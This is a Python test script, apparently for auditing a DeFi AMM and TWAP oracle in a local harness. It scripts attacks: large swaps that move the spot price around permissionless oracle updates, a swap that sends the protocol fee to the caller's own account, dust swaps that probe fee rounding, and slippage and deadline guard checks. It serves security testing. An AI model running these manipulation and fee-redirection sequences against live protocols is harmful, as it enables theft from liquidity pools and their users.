#!/usr/bin/env python3 """Attack set 1: oracle manipulation, protocol-fee redirection, rounding, slippage/deadline guards, donation + sync.""" import sys sys.path.insert(0, "/home/vpavlin/devel/m1-local/harness") import h I = h.I W = 600000 D = 18446744073709551615 def swap_in(label, amt, a_to_b=True, note="", min_out=1, pfee=None, deadline=D, **over): src, dst = (I["HOLD_A"], I["HOLD_B"]) if a_to_b else (I["HOLD_B"], I["HOLD_A"]) pf = pfee or (I["PFEE_A"] if a_to_b else I["PFEE_B"]) args = dict(config=I["CONFIG"], pool=I["POOL"], vault_a=I["VAULT_A"], vault_b=I["VAULT_B"], user_input_holding=src, user_output_holding=dst, current_tick_account=I["TICK"], clock=I["CLOCK"], protocol_fee_holding=pf, swap_amount_in=amt, min_amount_out=min_out, deadline=deadline) args.update(over) return h.act(label, "amm", "amm", "swap_exact_input", note=note, **args) def record(label, note=""): return h.act(label, "twap_oracle", "twap_oracle", "record_tick", note=note, price_observations=I["OBS"], current_tick_account=I["TICK"], clock=I["CLOCK"], price_source_id=I["POOL"], window_duration=W) def publish(label, note=""): return h.act(label, "twap_oracle", "twap_oracle", "publish_price", note=note, price_observations=I["OBS"], oracle_price_account=I["PRICE"], current_tick_account=I["TICK"], clock=I["CLOCK"], price_source_id=I["POOL"], window_duration=W) which = sys.argv[1] if len(sys.argv) > 1 else "all" if which in ("all", "manip"): # A1: single large swap moves spot; attacker records immediately (permissionless), # then swaps back. How much of the move lands in the observation buffer? swap_in("A1a big swap 5e17 A->B (~50% of A reserve) to crash A price", 500000000000000000, note="attacker moves spot") record("A1b attacker record_tick right after manipulation", note="permissionless timing") swap_in("A1c swap back B->A to restore", 900000000000000000, a_to_b=False, note="attacker unwinds") record("A1d record after unwind") publish("A1e publish TWAP after one-block manipulation") # A2: stale-tick extrapolation: manipulate, then nobody trades; publish projects the # manipulated tick forward to `now`. swap_in("A2a manipulate again 5e17 A->B and leave it", 500000000000000000) publish("A2b publish immediately (extrapolates manipulated tick)") publish("A2c publish again one block later (extrapolation grows)") swap_in("A2d unwind", 900000000000000000, a_to_b=False) record("A2e record after unwind") publish("A2f publish after unwind") if which in ("all", "pfee"): # A3: protocol_fee_holding is caller-supplied: can the swapper redirect the protocol # fee to their own holding? swap_in("A3 swap 1e17 A->B with protocol_fee_holding = attacker's own HOLD_A", 100000000000000000, pfee=I["HOLD_A"], note="does the program validate the protocol fee PDA?") if which in ("all", "round"): # A4: rounding at tiny sizes: fee = floor(amount*30/10000) -> zero below 334 units? for amt in (1, 2, 100, 333, 334, 1000): swap_in(f"A4 tiny swap {amt} unit(s) A->B", amt, note="fee/rounding at dust sizes") for amt in (1, 2, 100): swap_in(f"A4b tiny swap {amt} unit(s) B->A", amt, a_to_b=False) if which in ("all", "guards"): swap_in("A5a min_amount_out far above possible -> must fail", 1000000000000000, min_out=10**30) swap_in("A5b deadline in the past (1) -> must fail", 1000000000000000, deadline=1)